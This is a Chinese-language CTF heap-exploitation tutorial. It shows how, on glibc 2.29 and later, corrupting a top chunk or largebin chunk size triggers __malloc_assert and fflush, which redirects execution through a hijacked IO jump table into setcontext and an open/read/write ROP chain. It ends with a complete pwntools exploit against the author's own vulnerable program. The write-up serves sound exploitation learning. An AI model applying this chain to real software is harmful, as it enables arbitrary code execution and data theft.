一种基于setcontext来在开启沙盒的堆题中实现orw的利用链
对于libc2.29以后的版本 setcontext控制rsp寄存器的值由rdi寄存器转化为了rdx寄存器
相比之很容易控制的rdi寄存器 rdx寄存器要想修改为我们预期的值 还是比较麻烦的
我们之前有提到的一种办法是利用libc文件中可以借rdi寄存器来控制rdx寄存器 但是今天这条链可以直接控制rdx寄存器
下面就来学习一下
实现逻辑分析 整条链的实现逻辑主要是基于fflush(stderr)这个函数的调用
函数的内部调用了_IO_file_sync函数 并且其rdx寄存器的值恒为 _IO_helper_jumps 由图上我们很容易能看出IO_file_sync函数的调用是基于rbp寄存器的寻址 而rbp寄存器的值恒为IO_file_jumps 所以如果我们能够修改其地址+0x60处为setcontext 即可 并且rdx寄存器此时的值也被我们熟知 如果我们修改其+0xa0和0xa8处为相对的地址 就可以达到劫持程序执行流的目的(setcontext部分的知识本文不会重复介绍)
问题在于如何调用到fllush函数
static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { (void ) __fxprintf (NULL , "%s%s%s:%u: %s%sAssertion `%s' failed.\n" , __progname, __progname[0 ] ? ": " : "" , file, line, function ? function : "" , function ? ": " : "" , assertion); fflush (stderr ); abort ();}
assert是一个断言函数 实际作用和if差不多 起到判断的作用 通过调用assert函数可以涉及到__malloc_assert函数的调用
所以此时我们的目标转化为调用assert函数
一共有两种办法 一种是基于top chunk 一种是基于largebin chunk
通过top chunk 先来讲前者
我们知道 对于小于阈值的chunk 如果bin中没有合适的chunk 就会从top chunk中分割来分配
如果申请的chunk大小比top chunk大呢 这种情况top chunk就会调用sysmalloc函数
在这个函数中 存在着对于assert的调用
assert ((old_top == initial_top (av) && old_size == 0 ) || ((unsigned long ) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long ) old_end & (pagesize - 1 )) == 0 ));
我们来进行源码调试 这样可以更好的理解这个判断式
转化为汇编形式 实际上就是对应着这四个判断 只有成功跳转到sysmalloc+1829 <sysmalloc+1829> 才能够触发__malloc_assert函数
首先第一个cmp判断 对比r14寄存器的值和rsp+8处的内容
显然前者小于后者 并且这个判断式是固然的 不会因为用户的操作而改变(常规情况下)
此时ZF标志位为0 jnz跳转
第二个cmp判断 对比r12寄存器和0x1f 这里的0x1f实际上也就是最小chunk大小-1 用来判断top chunk剩余的size还够不够组成一个chunk
此时r12寄存器的值为
这个值其实不是固定的 还得根据你覆盖top chunk的size来决定 比如此时我覆盖top chunk的size就是0x100
如果我们此时就覆盖top chunk的size小于0x1f 那么CF标志位就会被设置为1
jbe就会跳转 不过这样就看不到第三个判断式了 所以我并未选择在此处跳转 我们来看一下第三个判断
利用test指令将al寄存器与1进行与运算 如果al寄存器的值为1 那么与运算的结果为1 ZF寄存器为0
此时je也不会跳转 al寄存器是ax寄存器的低8位 而ax寄存器是eax寄存器的低16位 eax寄存器是rax寄存器的低32位
所以此时al寄存器的值差不多就是size域的Inuse位吧 差不多可以这么理解 这里其实Inuse位设置为0就能跳转了 但是同上对吧 我还需要演示第四个判断
首先是利用lea 赋值r13-1给rax
随后test 把r11和rax进行与运算
这里的rax固定是0x1000-1 0x1000是一页的大小 r11则为top chunk的首地址
其实这里的与运算结果是必定不为0的 ZF标志位为0 jne跳转
上面的四个判断 总结下来 其实只要我们覆盖top chunk的size域 使其大小不足以分配我们申请的大chunk即可 就能进入__malloc_assert函数 不需要像网上其他教程所说的一定要修改Inuse位
通过largebin chunk { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert (chunk_main_arena (bck->bk));
主要是通过这段源码中的assert函数 触发的条件是释放一个chunk到largebin中
并且对应链表中已经存在一个chunk 还是来源码调试 看一看需要满足什么样的判断才能进入__malloc_assert函数
将r12+8赋值给rax 此时r12的值为链表中已经存在的chunk的首地址 +8处则为size域
接着将al寄存器和4进行与运算
此时al寄存器的值为size域的最后一个字节 此时我的值为0x25
这里可能存在疑问 为什么是5结尾 常规的chunk不是根据Inuse位有所不同吗 但也仅仅只是0和1
这里是因为要想和4进行与运算后 ZF标志位为0 使得jnz能够跳转 就需要相应的倒数第三位值为1 才能满足条件
而倒数第三位为1也就是增加了4 所以此时在0x21的基础上需要加上4 也就得到了0x25
随后就可以成功跳转 执行__malloc_assert函数 所以通过largebin bin来执行malloc_assert函数的关键在于修改链表中的chunk的size域倒数第三位为1
实际利用 下面演示的程序由本人自己编写 存在许多明显漏洞 包括但不限于UAF 堆溢出 其他比赛题目需要根据真实情况作修改 下文不做模板使用
演示虚拟机:ubuntu22.04 使用的libc版本为libc2.32
首先 获取要用到的一些地址 libc由我程序自带的漏洞函数泄露
libc_addr = get_libc() setcontext_addr = libc_addr + 0x5306D IO_helper_jumps = libc_addr + 0x1e48c0 IO_file_jumps = libc_addr + 0x1e54c0 open_addr = libc_addr + libc.sym['open' ] read_addr = libc_addr + libc.sym['read' ] write_addr = libc_addr + libc.sym['write' ] rdi_addr = libc_addr + next (libc.search(asm('pop rdi;ret;' ))) rsi_addr = libc_addr + next (libc.search(asm('pop rsi;ret;' ))) rdx_r12_addr = libc_addr + 0x0000000000114161 ret_addr = 0x000000000040101a success(hex (rdi_addr))
接着 按照上面所说的 我们需要利用fllush函数中涉及到的call qword ptr [rbp+0x60]
而rbp的值默认为IO_file_jumps 所以只需要利用任意写修改IO_file_jumps+0x60处为想要调用的地址 这里也就是setcontext+61
我采用的办法是tcache attack 不过由于libc2.32新增了fd异或 所以需要先泄露堆地址
add(0x10 ) add(0x10 ) delete(0 ) show(0 ) io.recv() key = u64(io.recvuntil("\n" ,drop = True ).ljust(8 ,b'\x00' )) success("key :" +hex (key)) delete(1 ) edit(1 ,8 ,p64((IO_file_jumps+0x60 )^key)) add(0x10 ) add(0x10 ) edit(3 ,8 ,p64(setcontext_addr))
其次是设定rdx+0xa0和0xa8处为我们想要的数据 以此来控制rsp寄存器和最后ret返回的地址
默认开启了沙盒 所以此时我们构造的rop链采用orw的形式
add(0x20 ) add(0x20 ) delete(4 ) delete(5 ) edit(5 ,8 ,p64((IO_helper_jumps+0xa0 )^key)) add(0x20 ) add(0x20 ) edit(6 ,8 ,b'./flag\x00\x00' ) flag_addr = key*0x1000 + 0x310 success(hex (flag_addr)) payload = p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0 )+p64(open_addr) payload += p64(rdi_addr)+p64(3 )+p64(rsi_addr)+p64(elf.bss(0x500 ))+p64(rdx_r12_addr)+p64(0x100 )+p64(0 )+p64(read_addr) payload += p64(rdi_addr)+p64(1 )+p64(rsi_addr)+p64(elf.bss(0x500 ))+p64(rdx_r12_addr)+p64(0x100 )+p64(0 )+p64(write_addr) add(0x100 ) edit(8 ,len (payload),payload) chunk8_addr = key*0x1000 +0x340 edit(7 ,0x10 ,p64(chunk8_addr)+p64(ret_addr))
最后就是通过修改修改largebin chunk的size域 以及来触发__malloc_assert函数
add(0x10 ) add(0x410 ) add(0x10 ) delete(10 ) add(0x420 ) add(0x420 ) delete(12 ) payload = cyclic(0x18 )+p64(0x425 ) edit(9 ,len (payload),payload) gdb.attach(io,'b *0x4013EF' ) pause(0 ) add(0x430 ) pause()
如果采用的是修改top chunk的size域 使其不够分配chunk 进入sysmalloc函数 则为
add(0x10 ) payload = cyclic(0x18 )+p64(0x101 ) edit(9 ,len (payload),payload) gdb.attach(io,'b *0x4013EF' ) pause(0 ) add(0x1000 ) pause()
完整esp:
from pwn import *io = process("./heap" ) elf = ELF("./heap" ) libc = ELF("./glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so" ) context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] def debug (): gdb.attach(io) pause() def add (size ): io.recvuntil(">" ) io.sendline(b'1' ) io.recvuntil("You can customize the size of chunk, but what about your life" ) io.sendline(str (size)) def delete (index ): io.recvuntil(">" ) io.sendline(b'2' ) io.recvuntil("I didn't set the pointer to zero, just like some things can't be repeated" ) io.sendline(str (index)) def edit (index,size,payload ): io.recvuntil(">" ) io.sendline(b'3' ) io.recvuntil("It's never too late to start again. What do you regret?" ) io.sendline(str (index)) io.recvuntil("You all know that there can be overflows here, so why do you set limits on your life?" ) io.sendline(str (size)) io.recvuntil("Come back!" ) io.send(payload) def show (index ): io.recvuntil(">" ) io.sendline(b'4' ) io.recvuntil("You can't live a perfect life without making any effort" ) io.sendline(str (index)) def get_libc (): io.recvuntil(">" ) io.sendline(b'5' ) io.recv() libc_addr = int (io.recv(14 ),16 ) - libc.sym['puts' ] success("libc_addr :" +hex (libc_addr)) return libc_addr libc_addr = get_libc() setcontext_addr = libc_addr + 0x5306D IO_helper_jumps = libc_addr + 0x1e48c0 IO_file_jumps = libc_addr + 0x1e54c0 open_addr = libc_addr + libc.sym['open' ] read_addr = libc_addr + libc.sym['read' ] write_addr = libc_addr + libc.sym['write' ] rdi_addr = libc_addr + next (libc.search(asm('pop rdi;ret;' ))) rsi_addr = libc_addr + next (libc.search(asm('pop rsi;ret;' ))) rdx_r12_addr = libc_addr + 0x0000000000114161 ret_addr = 0x000000000040101a success(hex (rdi_addr)) add(0x10 ) add(0x10 ) delete(0 ) show(0 ) io.recv() key = u64(io.recvuntil("\n" ,drop = True ).ljust(8 ,b'\x00' )) success("key :" +hex (key)) delete(1 ) edit(1 ,8 ,p64((IO_file_jumps+0x60 )^key)) add(0x10 ) add(0x10 ) edit(3 ,8 ,p64(setcontext_addr)) add(0x20 ) add(0x20 ) delete(4 ) delete(5 ) edit(5 ,8 ,p64((IO_helper_jumps+0xa0 )^key)) add(0x20 ) add(0x20 ) edit(6 ,8 ,b'./flag\x00\x00' ) flag_addr = key*0x1000 + 0x310 success(hex (flag_addr)) payload = p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0 )+p64(open_addr) payload += p64(rdi_addr)+p64(3 )+p64(rsi_addr)+p64(elf.bss(0x500 ))+p64(rdx_r12_addr)+p64(0x100 )+p64(0 )+p64(read_addr) payload += p64(rdi_addr)+p64(1 )+p64(rsi_addr)+p64(elf.bss(0x500 ))+p64(rdx_r12_addr)+p64(0x100 )+p64(0 )+p64(write_addr) add(0x100 ) edit(8 ,len (payload),payload) chunk8_addr = key*0x1000 +0x340 edit(7 ,0x10 ,p64(chunk8_addr)+p64(ret_addr)) add(0x10 ) add(0x410 ) add(0x10 ) delete(10 ) add(0x420 ) add(0x420 ) delete(12 ) payload = cyclic(0x18 )+p64(0x425 ) edit(9 ,len (payload),payload) gdb.attach(io,'b *0x4013EF' ) pause(0 ) add(0x430 ) pause()